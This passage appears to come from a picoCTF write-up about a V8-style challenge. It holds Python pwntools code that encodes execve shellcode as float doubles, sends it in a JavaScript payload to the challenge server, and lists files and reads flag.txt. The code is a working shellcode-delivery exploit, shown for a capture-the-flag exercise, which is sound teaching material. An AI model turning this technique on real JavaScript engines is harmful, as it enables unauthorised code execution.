            blk = blk + b"\0" * (8 - len(blk))
        yield str(struct.unpack("<d", blk)[0])


def sc2js(sc):
    items = ", ".join(sc2dbls(sc))
    assert not "nan" in items
    code = f"AssembleEngine([{items}])"
    return code


def run_js_remote(code):
    p = remote("mercury.picoctf.net", 48700)
    p.sendlineafter(b"Provide size", str(len(code)))
    p.sendlineafter(b"Provide script", code)
    return p.recvall().decode()


ls = sc2js(asm(shellcraft.execve(b"/bin/ls", ["ls"])))
catflag = sc2js(asm(shellcraft.execve(b"/bin/cat", ["cat", "flag.txt"])))
print(run_js_remote(ls))
print(run_js_remote(catflag))

I really like this challenge as it uses a simple method to explain the core concept of V8 exploitation.